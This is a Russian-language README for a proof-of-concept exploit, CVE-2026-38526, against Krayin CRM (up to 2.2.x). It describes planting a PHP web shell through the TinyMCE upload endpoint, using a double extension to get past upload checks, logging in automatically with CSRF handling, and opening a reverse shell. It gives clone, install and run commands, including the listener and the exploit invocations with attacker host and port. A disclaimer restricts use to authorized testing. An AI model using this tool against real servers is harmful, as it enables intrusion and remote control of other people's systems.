CVE-2026-38526 - Krayin CRM RCE-эксплоит

Krayin CRM (≤ 2.2.x) - Неограниченная загрузка файлов, приводящая к удаленному выполнению кода.

Этот PoC использует уязвимую конечную точку загрузки TinyMCE (/admin/tinymce/upload) для загрузки PHP-веб-шелла и выполнения команд на сервере.

Возможности

• Полный автоматический вход с обработкой CSRF-токена
• Обходит ограничения загрузки с помощью двойного расширения
• Поддерживает reverse shell и выполнение одной команды
• Надежное обновление CSRF-токена Laravel
• Чистый и простой в использовании

Загрузка

git clone https://github.com/pawpic/CVE-2026-38526-POC

Требования

pip3 install requests beautifulsoup4

Использование

1. Reverse Shell (по умолчанию и рекомендуется)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. Одиночная команда

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

Параметры

Пример рабочего процесса

Запустите слушатель:

nc -lvnp 4444

Запустите эксплоит:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

Отказ от ответственности

Этот эксплоит предназначен только для образовательных целей и авторизованного тестирования на проникновение. Несанкционированное использование против систем, на которые у вас нет явного разрешения для тестирования, незаконно.

Затронутые версии

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

Автор: pawpic Дата: 2026